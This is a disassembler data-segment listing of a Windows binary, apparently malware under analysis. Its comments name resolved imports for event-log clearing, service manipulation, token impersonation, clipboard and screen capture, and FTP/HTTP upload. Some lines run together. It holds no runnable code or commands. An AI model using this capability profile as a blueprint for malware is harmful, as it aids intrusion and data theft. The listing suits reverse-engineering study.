dword_456E10 dd 0 ; resolved to->WS2_32.ntohs ; sub_41729C+8E5r ...
dword_456E14 dd 0 ; sub_41729C+D4Cw
dword_456E18 dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_41729C+A1Cr ...
dword_456E1C dd 0 ; resolved to->USER32.ExitWindowsExdword_456E20 dd 0 ; sub_41729C+BBDr ...
dword_456E24 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_41729C+4DEr ...
dword_456E28 dd 0 ; resolved to->ADVAPI32.OpenThreadToken ; sub_41729C+3BEr ...
dword_456E2C dd 0 ; resolved to->ADVAPI32.CloseEventLog ; sub_41729C+587w ...
dword_456E30 dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_4051C0+136r ...
dword_456E34 dd 0 ; resolved to->WS2_32.getpeernamedword_456E38 dd 0 ; resolved to->WS2_32.WSACleanup ; sub_41729C+705w ...
dword_456E3C dd 0 ; resolved to->GDI32.DeleteObjectdword_456E40 dd 0 ; sub_41729C+B94w ...
dword_456E44 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_41729C+361r ...
dword_456E48 dd 0 ; resolved to->ADVAPI32.RegEnumKeyExA ; sub_420EA3+8Ar ...
dword_456E4C dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_41729C+E7r
dword_456E50 dd 0 ; resolved to->ADVAPI32.SetServiceStatus ; sub_421F40+12Ar ...
dword_456E54 dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_41729C+D99w ...
dword_456E58 dd 0 ; resolved to->WS2_32.WSAStartup ; sub_41729C+844r ...
dword_456E5C dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_41729C+A3Fr ...
dword_456E60 dd 0 ; resolved to->USER32.CloseWindow ; sub_41729C+1C6r
dword_456E64 dd 0 ; sub_41729C+B53w ...
dword_456E68 dd 0 ; resolved to->ADVAPI32.QueryServiceLockStatusA ; sub_41729C+516r ...
dword_456E6C dd 0 ; sub_41729C+E3Br
dword_456E70 dd 0 ; resolved to->ADVAPI32.OpenEventLogA ; sub_41729C+57Aw ...
dword_456E74 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_41729C+ADDr
dword_456E78 dd 0 ; resolved to->ADVAPI32.RegDeleteKeyA ; sub_41729C+369r ...
dword_456E7C dd 0 dword_456E80 dd 0 ; resolved to->ADVAPI32.ClearEventLogA ; sub_41729C+56Dw ...
dword_456E84 dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_41729C+879r
dword_456E88 dd 0 ; resolved to->WININET.InternetOpenA ; sub_41729C+A22r
dword_456E8C dd 0 ; resolved to->SHLWAPI.PathRemoveFileSpecA ; sub_4181F4+305r ...
dword_456E90 dd 0 ; resolved to->USER32.IsWindow ; sub_41729C+1E3r
dword_456E94 dd 0 ; resolved to->IPHLPAPI.GetNetworkParamsdword_456E98 dd 0 ; resolved to->WS2_32.getsockname ; sub_40A938+9997r ...
dword_456E9C dd 0 ; resolved to->WS2_32.connect ; sub_401B6E+76r ...
dword_456EA0 dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_41729C+86Dr ...
dword_456EA4 dd 0 ; resolved to->ADVAPI32.RegQueryInfoKeyA ; sub_42105D+7Ar
dword_456EA8 dd 0 ; resolved to->USER32.GetWindowInfo ; sub_41729C+26Fr
dword_456EAC dd 0 ; resolved to->USER32.ShowWindow ; sub_41729C+27Fr
dword_456EB0 dd 0 ; sub_41729C:loc_417D44w ...
dword_456EB4 dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_41729C+349r ...
dword_456EB8 dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_41729C+823w ...
dword_456EBC dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_41729C+3D3r ...
dword_456EC0 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_41729C+4F6r ...
dword_456EC4 dd 0 ; sub_41FB92+B5r ...
dword_456EC8 dd 0 ; sub_41729C+E33r
dword_456ECC dd 0 ; sub_41729C+EBCr ...
dword_456ED0 dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_41729C+A37r ...
dword_456ED4 dd 0 ; resolved to->USER32.OpenClipboard ; sub_41729C+1F3r
dword_456ED8 dd 0 ; resolved to->USER32.IsWindowVisible ; sub_41729C+287r
dword_456EDC dd 0 ; resolved to->IPHLPAPI.GetIfTable ; sub_41729C+CC4r ...
dword_456EE0 dd 0 ; resolved to->WININET.InternetConnectA ; sub_41729C+A47r ...
dword_456EE4 dd 0 ; resolved to->WSOCK32.recvfrom ; sub_41729C+7A8w ...
dword_456EE8 dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_41729C+371r ...
dword_456EEC dd 0 ; sub_423BB1+8Cr
dword_456EF0 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_40A14F+34r ...
dword_456EF4 dd 0 ; resolved to->IPHLPAPI.GetTcpTable ; sub_41729C+CD0r
dword_456EF8 dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_41729C+3CBr ...
dword_456EFC dd 0 ; resolved to->WS2_32.select ; sub_4022B8+B6r ...
dword_456F00 dd 0 ; resolved to->GDI32.CreateDCA ; sub_41729C+632r
dword_456F04 dd 0 ; resolved to->USER32.GetClipboardData ; sub_41729C+1FBr
dword_456F08 dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_41729C+3F7w ...
dword_456F0C dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_456F10 dd 0 ; sub_41729C+EC4r ...
dword_456F14 dd 0 ; resolved to->WS2_32.ntohl ; sub_4021D4+2Br ...
dword_456F18 dd 0 ; resolved to->WS2_32.ntohs ; sub_401B6E+50r ...
dword_456F1C dd 0 ; resolved to->KERNEL32.Process32First ; sub_41729C+CFr
dword_456F20 dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_41729C+64Fr
dword_456F24 dd 0 ; resolved to->USER32.FindWindowA ; sub_41729C+17Ew ...
dword_456F28 dd 0 dword_456F2C dd 0 ; resolved to->WS2_32.gethostname ; sub_41729C+93Dr ...
dword_456F30 dd 0 ; resolved to->ADVAPI32.RegisterServiceCtrlHandlerA ; sub_41729C+52Er ...
dword_456F34 dd 0 ; resolved to->ADVAPI32.UnlockServiceDatabase ; sub_41729C+526r ...
dword_456F38 dd 0 ; resolved to->WSOCK32.recv ; sub_401B6E+EEr ...
dword_456F3C dd 0 ; sub_41729C+E43r
dword_456F40 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_41729C+C7r
dword_456F44 dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_41729C+351r ...
dword_456F48 dd 0 ; resolved to->WS2_32.listen ; sub_40A14F+5Dr ...
dword_456F4C dd 0 ; resolved to->WS2_32.bind ; sub_40A14F+47r ...
dword_456F50 dd 0 ; resolved to->WININET.InternetCloseHandle ; sub_4181F4+10Cr ...
dword_456F54 dd 0 dword_456F58 dd 0 ; sub_41729C+E1Er
dword_456F5C dd 0 ; resolved to->WS2_32.inet_addr ; sub_401B6E+40r ...
dword_456F60 dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_41729C+63Fr
dword_456F64 dd 0 ; resolved to->GDI32.BitBlt ; sub_41729C+667r
dword_456F68 dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_41729C+647r
dword_456F6C dd 0 ; resolved to->WS2_32.send ; sub_401642+35r ...
dword_456F70 dd 0 ; resolved to->KERNEL32.GetComputerNameA ; sub_41BD3B+188r ...
dword_456F74 dd 0 ; resolved to->USER32.CloseClipboard ; sub_41729C+203r
dword_456F78 dd 0 ; sub_41729C+BF5r
dword_456F7C dd 0 ; resolved to->USER32.SendMessageA ; sub_40A938+2517r ...
dword_456F80 dd 0 ; sub_41FB92+E1r
dword_456F84 dd 0 ; resolved to->IPHLPAPI.GetUdpTabledword_456F88 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_41729C+EFr
dword_456F8C dd 0 ; resolved to->WS2_32.sendtodword_456F90 dd 0 ; sub_405990+93r ...
dword_456F94 dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_41FD79+80r ...
dword_456F98 dd 0 ; resolved to->ADVAPI32.CreateServiceA ; sub_41729C+45Fw ...
dword_456F9C dd 0 ; resolved to->WININET.FtpPutFileAdword_456FA0 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_41729C+33Cr ...
dword_456FA4 dd 0 ; resolved to->SHELL32.SHChangeNotifydword_456FA8 dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_41729C+CBCr ...
dword_456FAC dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_41729C+CAFr ...
dword_456FB0 dd 0 ; resolved to->WS2_32.socket ; sub_401B6E+5Er ...
dword_456FB4 dd 0 ; resolved to->WS2_32.gethostbyname ; sub_41729C+816w ...
dword_456FB8 dd 0 ; sub_41729C+E2Br
dword_456FBC dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_4022B8+14r ...
dword_456FC0 dd 0 ; sub_405990+15Er ...
dword_456FC4 dd 0 ; resolved to->WS2_32.accept ; sub_41729C+7E2w ...
dword_456FC8 dd 0 ; resolved to->WS2_32.shutdown ; sub_41C9BC+22r
dword_456FCC dd 0 ; resolved to->USER32.EnumWindows ; sub_41729C+262r ...
dword_456FD0 dd 0 ; resolved to->WS2_32.closesocket ; sub_401B6E+312r ...
dword_456FD4 dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_40238D+4Cr ...
dword_456FD8 dd 0 ; sub_41729C+D53r
dword_456FDC dd 0 ; resolved to->WS2_32.WSASocketA ; sub_41729C+855r
dword_456FE0 dd 0 ; sub_405990+7Fr ...
dword_456FE4 dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_40797B+4Br ...
dword_456FE8 dd 0 ; resolved to->USER32.DestroyWindow ; sub_41729C+1EBr
dword_456FEC dd 0 ; resolved to->ADVAPI32.ImpersonateLoggedOnUser ; sub_41729C+506r ...
dword_456FF0 dd 0 ; resolved to->ADVAPI32.ChangeServiceConfig2A ; sub_41729C+51Er ...
dword_456FF4 dd 0 ; resolved to->USER32.GetClassNameAdword_456FF8 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_41729C+AEAr
dword_456FFC dd 0 ; resolved to->ADVAPI32.StartServiceCtrlDispatcherA ; sub_418D49+174r
dword_457000 dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_41729C+F7r ...
dword_457004 dd 0 ; sub_41729C+137w
dword_457008 dd 0 dword_45700C dd 0 ; sub_41729C:loc_41753Cw
dword_457010 dd 0 dword_457014 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_40A938+1ADFr ...
dd 0
dword_45701C dd 0 dword_457020 dd 0 dword_457024 dd 0 dword_457028 dd 0 dword_45702C dd 0 dword_457030 dd 0 ; sub_41729C:loc_417D0Bw ...
dword_457034 dd 0 dword_457038 dd 0 dword_45703C dd 0 dword_457040 dd 0 dword_457044 dd 0 dword_457048 dd 0 dword_45704C dd 0 dword_457050 dd 0 ; sub_41729C:loc_417F9Cw ...
align 8
dword_457058 dd 0 dword_45705C dd 0 dword_457060 dd 0 dword_457064 dd 0 dword_457068 dd 0 dword_45706C dd 0 dword_457070 dd 0 dd 2 dup(0)
dword_45707C dd 0 ; sub_41729C+EE6w
dword_457080 dd 0 dword_457084 dd 0 ; sub_42377D:loc_4237F5r
dword_457088 dd 0 dd 2 dup(0)
dword_457094 dd 0 dword_457098 dd 0 align 10h
dword_4570A0 dd 0 ; sub_418CCA+Ao ...
dd 5 dup(0)
dword_4570B8 dd 0 ; sub_418CCA+5Fr
dd 2D9h dup(0)
dword_457C20 dd 4 dup(0) ; sub_4022B8+Co ...
dword_457C30 dd 0 align 8
dword_457C38 dd 28h dup(0) ; sub_40A938:loc_413219o ...
dword_457CD8 dd 4 dup(0) ; sub_4022B8+2Bo ...
dword_457CE8 dd 0 ; sub_402CBA+46Cw
dword_457CEC dd 0 ; sub_418EDB+5A3w ...
dword_457CF0 dd 0 align 8
dword_457CF8 dd 41h dup(0) ; sub_422394+60o
dword_457DFC dd 0Fh dup(0) dword_457E38 dd 0 ; sub_40A938+1952r ...
align 10h
dword_457E40 dd 40h dup(0) dword_457F40 dd 0 ; sub_40A938+89FAr ...
dword_457F44 dd 0 ; sub_418EDB+663r ...
dword_457F48 dd 0 ; sub_406C3A+24r ...
byte_457F4C db 0 ; DATA XREF: sub_4164D0+D9o
; sub_420BF0+50o
byte_457F4D db 3 dup(0) ; DATA XREF: sub_4164D0+F1o
; sub_420C63+23o
dword_457F50 dd 0Dh dup(0) dword_457F84 dd 0Dh dup(0) dword_457FB8 dd 0 ; sub_41BB45:loc_41BBBBr ...
dword_457FBC dd 107h dup(0) dword_4583D8 dd 4 dup(0) dword_4583E8 dd 4 dup(0) byte_4583F8 db 0 ; DATA XREF: sub_41D1E5+Bo
; sub_41D1E5+5Aw
align 4
dd 3 dup(0)
dword_458408 dd 4 dup(0) dword_458418 dd 4 dup(0) dword_458428 dd 0 byte_45842C db 0 ; DATA XREF: sub_41D17C+Ao
; sub_41D17C+2Br
align 10h
dd 3 dup(0)
dword_45843C dd 4 dup(0) byte_45844C db 0 ; DATA XREF: sub_41D137+5o
; sub_41D137+2Cw ...
align 10h
dd 3 dup(0)
byte_45845C db 0 ; DATA XREF: sub_41D252+Eo
; sub_41D252+14Aw
align 10h
dd 3 dup(0)
dword_45846C dd 4 dup(0) dword_45847C dd 4 dup(0) dword_45848C dd 0 ; sub_41C7EB+B3w ...
dword_458490 dd 0 ; sub_41C53A+35r ...
align 10h
dword_4584A0 dd 0 ; sub_41C5FE+1o ...
align 10h
dword_4584B0 dd 0 ; sub_41C63E+35r
dd 86h dup(0)
db 0
byte_4586CD db 3 dup(0) ; DATA XREF: sub_41C53A+13o
; sub_41C598+47o ...
dword_4586D0 dd 0 ; sub_41E59B+58r ...
dword_4586D4 dd 0 ; sub_41E59B+3Br ...
dword_4586D8 dd 0 ; sub_41E6F8+8Do
dword_4586DC dd 0 ; sub_41E6F8+121w ...
dword_4586E0 dd 0 ; sub_41E59B+F3r ...
dd 4 dup(0)
dword_4586F4 dd 0Dh dup(0) ; sub_41E6F8:loc_41E837o
dword_458728 dd 0 ; sub_41EBD7+4Dr ...
align 10h
dword_458730 dd 0 ; sub_41EBD7+CEr ...
dd 9C3h dup(0)
dword_45AE40 dd 40h dup(0) ; sub_41EF29+4Co
dword_45AF40 dd 20h dup(0) dword_45AFC0 dd 0 ; sub_41F02F:loc_41F0C4r
align 8
dword_45AFC8 dd 0 ; sub_421277+5Ew ...
dd 4000h dup(0)
dword_46AFCC dd 0 ; sub_42211B+63r ...
dword_46AFD0 dd 0 ; sub_42207E+50w
dword_46AFD4 dd 0 ; sub_42207E+8w ...
dword_46AFD8 dd 0 ; sub_42207E+1Cw ...
dword_46AFDC dd 0 dword_46AFE0 dd 0 dword_46AFE4 dd 0 dword_46AFE8 dd 0 ; sub_42207E+5Bw
dword_46AFEC dd 0 ; sub_42207E+61w
dword_46AFF0 dd 0 ; sub_407252+94o ...
dd 9C3h dup(0)
dword_46D700 dd 0 ; sub_4233DE+79w ...
dword_46D704 dd 0 ; sub_402646+47r ...
dword_46D708 dd 0 ; sub_41E6F8+16Bw ...
dword_46D70C dd 0 ; sub_40242A+15Dw ...
dword_46D710 dd 0 ; ?9:0040A20Dw ...
dd 0A4Dh dup(0)
db 3 dup(0)
byte_47004B db 0 ; DATA XREF: ?9:0043C5C9o ?9:0043E4D1o
db 3 dup(0)
byte_47004F db 0 ; DATA XREF: ?9:0044ED1Co
dd 7FFFh dup(0)
db 0
byte_49004D db 3 dup(0) ; DATA XREF: ?9:0044ED78o ?9:0044EF2Co
dword_490050 dd 3 dup(0) dword_49005C dd 7FFAh dup(0) db 3 dup(0)
byte_4B0047 db 0 ; DATA XREF: ?9:0043C5F1o ?9:0043E4F9o
dd 13B8h dup(0)
db 3 dup(0)
byte_4B4F2B db 0 ; DATA XREF: ?9:off_4506BCo
dd 2C4Ah dup(0)
dword_4C0054 dd 507Dh dup(0) db 0
byte_4D4249 db 3 dup(0) ; DATA XREF: ?9:off_43DA58o
dd 5C1h dup(0)
db 3 dup(0)
byte_4D5953 db 0 ; DATA XREF: ?9:off_44D5C0o
dd 29BDh dup(0)
db 0
byte_4E0049 db 3 dup(0) ; DATA XREF: ?9:0044ED88o ?9:0044EF1Co
db 3 dup(0)
byte_4E004F db 0 ; DATA XREF: ?9:0044ED20o
dd 103Fh dup(0)
dword_4E414C dd 202h dup(0) db 3 dup(0)
byte_4E4957 db 0 ; DATA XREF: ?9:off_4476F8o
dd 27Ah dup(0)
db 0
byte_4E5341 db 3 dup(0) ; DATA XREF: ?9:off_44D594o
dd 2B43h dup(0)
db 2 dup(0)
word_4F0052 dw 0 ; DATA XREF: ?9:0043C5CDo ?9:0043E4D5o
dd 0B3Dh dup(0)
dword_4F2D48 dd 34ADh dup(0) db 3 dup(0)
byte_4FFFFF db 0 ; DATA XREF: sub_41F02F+33Ao
dd 12h dup(0)
db 0
byte_500049 db 3 dup(0) ; DATA XREF: ?9:off_44ED68o
; ?9:off_44EF38o
dword_50004C dd 2 dup(0) db 0
byte_500055 db 3 dup(0) ; DATA XREF: ?9:0043C5D1o ?9:0043E4D9o
dd 4005h dup(0)
dword_51006C dd 3FF5h dup(0) db 2 dup(0)
word_520042 dw 0 ; DATA XREF: ?9:off_44ED48o
dd 2 dup(0)
db 3 dup(0)
byte_52004F db 0 ; DATA XREF: ?9:0043C5C5o ?9:0043E4CDo
dword_520050 dd 0 ; ?9:off_44EF18o
dword_520054 dd 3FFDh dup(0) db 0
byte_530049 db 3 dup(0) ; DATA XREF: ?9:0043C5E1o ?9:0043E4E9o
dd 935h dup(0)
dword_532520 dd 47CCh dup(0) dword_544450 dd 3C0h dup(0) dword_545350 dd 3C3Dh dup(0) db 0
byte_554445 db 3 dup(0) ; DATA XREF: ?9:off_43D660o
dd 1C0h dup(0)
dword_554B48 dd 2D3Fh dup(0) db 0
byte_560045 db 3 dup(0) ; DATA XREF: ?9:0043C5E9o ?9:0043E4F1o
dd 1482h dup(0)
db 3 dup(0)
byte_565253 db 0 ; DATA XREF: ?9:off_43A5D7o
dd 2B7Eh dup(0)
db 3 dup(0)
byte_57004F db 0 ; DATA XREF: ?9:0044ED4Co
dd 3FFDh dup(0)
db 2 dup(0)
word_580046 dw 0 ; DATA XREF: ?9:off_43BAB4o
; ?9:0043BABCo ...
dd 53BEh dup(0)
db 2 dup(0)
word_594F42 dw 0 ; DATA XREF: ?9:off_44F898o
dd 0AC38h dup(0)
dword_5C0024 dd 7 dup(0) db 3 dup(0)
byte_5C0043 db 0 ; DATA XREF: ?9:0044ED6Co
dd 2 dup(0)
db 2 dup(0)
word_5C004E dw 0 ; DATA XREF: ?9:0044ED7Co
db 2 dup(0)
word_5C0052 dw 0 ; DATA XREF: ?9:0044ED54o ?9:0044ED90o
dd 2 dup(0)
dword_5C005C dd 0E79h dup(0) db 0
byte_5C3A41 db 3 dup(0) ; DATA XREF: ?9:off_4473E0o
dd 0D086h dup(0)
db 3 dup(0)
byte_5F7C5F db 0 ; DATA XREF: ?9:off_44F8C8o
dd 7940h dup(0)
db 0
byte_616161 db 3 dup(0) ; DATA XREF: ?9:off_43DAA8o
dd 1BFh dup(0)
db 0
byte_616861 db 3 dup(0) ; DATA XREF: ?9:off_44F87Co
dd 25F3h dup(0)
db 0
byte_620031 db 3 dup(0) ; DATA XREF: ?9:0043C5EDo ?9:0043E4F5o
dd 0ACBh dup(0)
db 0
byte_622B61 db 3 dup(0) ; DATA XREF: ?9:off_44DCFCo
dd 1083h dup(0)
db 3 dup(0)
byte_626D73 db 0 ; DATA XREF: ?9:off_43D680o
dd 3D3Bh dup(0)
db 0
byte_636261 db 3 dup(0) ; DATA XREF: ?9:off_43D750o
dd 42h dup(0)
db 0
byte_63636D db 3 dup(0) ; DATA XREF: ?9:off_44F904o
dd 75h dup(0)
dword_636544 dd 248h dup(0) db 2 dup(0)
word_636E66 dw 0 ; DATA XREF: ?9:off_43D3FCo
dd 3 dup(0)
db 2 dup(0)
word_636E76 dw 0 ; DATA XREF: ?9:off_43D970o
dd 0FEh dup(0)
db 3 dup(0)
byte_637273 db 0 ; DATA XREF: ?9:off_446E14o
dd 7Bh dup(0)
db 3 dup(0)
byte_637463 db 0 ; DATA XREF: ?9:off_4462B0o
dd 105h dup(0)
db 2 dup(0)
word_63787A dw 0 ; DATA XREF: ?9:off_43D2C0o
dd 3A35h dup(0)
db 3 dup(0)
byte_646153 db 0 ; DATA XREF: ?9:off_44F8BCo
dd 3 dup(0)
db 2 dup(0)
word_646162 dw 0 ; DATA XREF: ?9:off_44F9B0o
dd 583h dup(0)
dword_647770 dd 223Fh dup(0) db 2 dup(0)
word_65006E dw 0 ; DATA XREF: ?9:off_44ED00o
dd 1B2Dh dup(0)
dword_656D24 dd 293h dup(0) db 0
byte_657771 db 3 dup(0) ; DATA XREF: ?9:off_43D504o
dd 2414h dup(0)
dword_6607C4 dd 0 ; sub_4234DB+24o ...
dword_6607C8 dd 0 ; sub_426B7C+93w ...
dword_6607CC dd 4 dup(0) dword_6607DC dd 0 ; sub_4256AE+9o
byte_6607E0 db 0 ; DATA XREF: sub_42625A+Eo
; sub_42625A+48w ...
align 4
dd 31h dup(0)
dword_6608A8 dd 0 ; sub_426402:loc_4265EAw ...
dword_6608AC dd 0 ; sub_426402+3Aw ...
dd 0
dword_6608B4 dd 0 ; sub_42660A+41r
dd 7Fh dup(0)
dword_660AB4 dd 0 ; sub_42660A+50w
dword_660AB8 dd 0 ; sub_42660A+56r
dd 906h dup(0)
dword_662ED4 dd 0 ; sub_423756+19o
dword_662ED8 dd 293Ch dup(0) byte_66D3C8 db 0 ; DATA XREF: sub_424551+21o
; sub_424551+45r ...
align 4
dword_66D3CC dd 0A01h dup(0) ; sub_426AA3+27o
dword_66FBD0 dd 0 ; sub_423850+11Bo ...
dd 18h dup(0)
byte_66FC34 db 0 ; DATA XREF: sub_423850+1D5w
; sub_423850+30Ew ...
align 4
dd 18h dup(0)
dword_66FC98 dd 0 ; sub_423850+270o ...
dd 0EDh dup(0)
db 0
byte_670051 db 3 dup(0) ; DATA XREF: ?9:0043C5E5o ?9:0043E4EDo
dd 0D85h dup(0)
dword_673668 dd 0 ; sub_423850+131r ...
dword_67366C dd 0 ; sub_424551+5r ...
dword_673670 dd 0 dd 42h dup(0)
dword_67377C dd 0 ; sub_424699+19Br ...
dword_673780 dd 0 ; sub_424699+1A8r ...
dword_673784 dd 0 ; sub_424699+1B0r ...
dword_673788 dd 0 dword_67378C dd 0 ; sub_424699+1C8r ...
dword_673790 dd 0 ; sub_424699+1B8r
dword_673794 dd 0 ; sub_424699+1C0r ...
dword_673798 dd 0 ; sub_424990+28r
dword_67379C dd 0 ; sub_424894+21w ...
dword_6737A0 dd 0 ; sub_424699+E2w ...
dword_6737A4 dd 0 ; sub_424699+ADw ...
dword_6737A8 dd 0 dword_6737AC dd 0 ; sub_424551+Dr
dword_6737B0 dd 2 dup(0) db 0
byte_6737B9 db 0 ; DATA XREF: sub_426EEF+20Eo
word_6737BA dw 0 ; DATA XREF: sub_426EEF+228o
dword_6737BC dd 9DBh dup(0) byte_675F28 db 0 ; DATA XREF: sub_426EEF+CBw
; sub_426EEF+1DCo
align 2
word_675F2A dw 0 ; DATA XREF: sub_426EEF+D2w
; sub_426EEF+1FCw
word_675F2C dw 0 ; DATA XREF: sub_426EEF+DAw
align 10h
word_675F30 dw 0 ; DATA XREF: sub_426EEF+F6w
align 4
byte_675F34 db 0 ; DATA XREF: sub_426EEF+87r
; sub_426EEF+90w
align 2
word_675F36 dw 0 ; DATA XREF: sub_426EEF+B2w
dd 0
byte_675F3C db 0 ; DATA XREF: sub_426EEF+FFw
byte_675F3D db 0 ; DATA XREF: sub_426EEF+106w
; sub_426EEF+209o
word_675F3E dw 0 ; DATA XREF: sub_426EEF+10Dw
dword_675F40 dd 0 ; sub_426EEF+1F6o
dword_675F44 dd 0 word_675F48 dw 0 ; DATA XREF: sub_426EEF+BBw
word_675F4A dw 0 ; DATA XREF: sub_426EEF+C5w
word_675F4C dw 0 ; DATA XREF: sub_426EEF+138w
; sub_426EEF+239o
word_675F4E dw 0 ; DATA XREF: sub_426EEF+145w
dword_675F50 dd 0 ; sub_426EEF+1D2w
dword_675F54 dd 0 dword_675F58 dd 0 dword_675F5C dd 0 ; sub_426EEF+16Bw
byte_675F60 db 0 ; DATA XREF: sub_426EEF+1ACw
align 10h
word_675F70 dw 0 ; DATA XREF: sub_426EEF+193w
align 4
word_675F74 dw 0 ; DATA XREF: sub_426EEF+188w
word_675F76 dw 0 ; DATA XREF: sub_426EEF+19Cw
; sub_426EEF+251w
dd 2 dup(0)
db 2 dup(0)
byte_675F82 db 0 ; DATA XREF: sub_426EEF+165w
align 4
dd 0Fh dup(0)
dword_675FC0 dd 0Eh dup(0) dword_675FF8 dd 5Dh dup(0) dword_67616C dd 0A3h dup(0) dword_6763F8 dd 21h dup(0) ; sub_40A938:loc_40C4FCo ...
byte_67647C db 0 ; DATA XREF: sub_428597+1D0o
; sub_428597+1DCw ...
byte_67647D db 0 ; DATA XREF: sub_428597+1EAw
word_67647E dw 0 ; DATA XREF: sub_428597+211w
word_676480 dw 0 ; DATA XREF: sub_428597+202w
; sub_428597:loc_4288F3w
word_676482 dw 0 ; DATA XREF: sub_428597+217w
byte_676484 db 0 ; DATA XREF: sub_428597+21Ew
byte_676485 db 0 ; DATA XREF: sub_428597+1E3w
word_676486 dw 0 ; DATA XREF: sub_428597+371w
; sub_428597+3A6w
dword_676488 dd 0 ; sub_428597+326r
dword_67648C dd 0 word_676490 dw 0 ; DATA XREF: sub_428597+320w
; sub_428597+380o
word_676492 dw 0 ; DATA XREF: sub_428597+2B4w
; sub_428597+2F7r ...
dword_676494 dd 0 ; sub_428597+363w
dword_676498 dd 0 ; sub_428597+337w ...
byte_67649C db 0 ; DATA XREF: sub_428597+292r
; sub_428597+2A4w
byte_67649D db 0 ; DATA XREF: sub_428597+24Ew
; sub_428597+330w ...
word_67649E dw 0 ; DATA XREF: sub_428597+26Aw
word_6764A0 dw 0 ; DATA XREF: sub_428597+378w
; sub_428597+3B4w
word_6764A2 dw 0 ; DATA XREF: sub_428597+2ADw
word_6764A4 dw 0 ; DATA XREF: sub_428597+2E4w
; sub_428597+3BCo
word_6764A6 dw 0 ; DATA XREF: sub_428597+2FEw
; sub_428597+393w
dword_6764A8 dd 0 dd 2 dup(0)
dword_6764B4 dd 0 ; sub_428597+3A1o
dword_6764B8 dd 0 byte_6764BC db 0 ; DATA XREF: sub_428597+2BFw
byte_6764BD db 0 ; DATA XREF: sub_428597+2CEw
word_6764BE dw 0 ; DATA XREF: sub_428597+2DEw
dword_6764C0 dd 6 dup(0) dword_6764D8 dd 0 ; sub_428597+3C6r
align 10h
dword_6764E0 dd 100h dup(0) ; sub_428597+197o ...
dword_6768E0 dd 0 ; sub_42A705+A4w
align 8
word_6768E8 dw 0 ; DATA XREF: sub_42A705+55r
; sub_42A705+9Ao
word_6768EA dw 0 ; DATA XREF: sub_42A705+48r
db 2 dup(0)
word_6768EE dw 0 ; DATA XREF: sub_42A705+3Br
word_6768F0 dw 0 ; DATA XREF: sub_42A705+2Er
word_6768F2 dw 0 ; DATA XREF: sub_42A705+21r
dd 2 dup(0)
dword_6768FC dd 0 dword_676900 dd 0 ; sub_432034:loc_43205Dw ...
dword_676904 dd 0 ; sub_432B5F:loc_432B71r ...
dd 0
dword_67690C dd 0 dword_676910 dd 0 ; sub_42B2CA+104r ...
dword_676914 dd 0 dword_676918 dd 0 ; sub_42D5DC+2Dw ...
align 10h
dword_676920 dd 6 dup(0) dword_676938 dd 6 dup(0) dword_676950 dd 6 dup(0) dword_676968 dd 6 dup(0) dword_676980 dd 2 dup(0) ; ?9:00434E67o
dword_676988 dd 0 ; sub_42A9B1:loc_42AA7Fr ...
dd 3 dup(0)
dword_676998 dd 0 ; sub_42A9B1+C0r ...
dd 4 dup(0)
dword_6769AC dd 0 byte_6769B0 db 0 ; DATA XREF: sub_42C4A4+52w
byte_6769B1 db 0 ; DATA XREF: sub_42B019:loc_42B08Fr
align 4
dword_6769B4 dd 0 dword_6769B8 dd 0 dword_6769BC dd 0 dword_6769C0 dd 0 dword_6769C4 dd 0 dd 0
dword_6769CC dd 0 ; sub_431213+27r ...
dword_6769D0 dd 0 dword_6769D4 dd 0 ; sub_434B89+4r ...
dd 0
dword_6769DC dd 0 dd 0
byte_6769E4 db 0 ; DATA XREF: sub_42C0F0+5r
; sub_430A86+32w
align 4
dword_6769E8 dd 0 dword_6769EC dd 0 ; sub_430A86+97w
dword_6769F0 dd 0 ; sub_430CCF+4Cw ...
dword_6769F4 dd 0 ; sub_431FD0+38r ...
dword_6769F8 dd 0 align 10h
dword_676A00 dd 0 ; sub_4327A5+4w ...
dword_676A04 dd 41h dup(0) dword_676B08 dd 0 ; sub_432E65+23w ...
dword_676B0C dd 0 dword_676B10 dd 0 ; sub_43340D:loc_433477w
dword_676B14 dd 0 dword_676B18 dd 0 ; sub_4338E9+7Aw ...
align 10h
dword_676B20 dd 0 ; sub_4338E9+5Dr
dword_676B24 dd 10h dup(0) word_676B64 dw 0 ; DATA XREF: sub_433B91+A8r
word_676B66 dw 0 ; DATA XREF: sub_4338E9+6Br
; sub_433B91+DBr ...
word_676B68 dw 0 ; DATA XREF: sub_433B91+CAr
word_676B6A dw 0 ; DATA XREF: sub_433B91+D3r
; sub_433B91:loc_433C83r
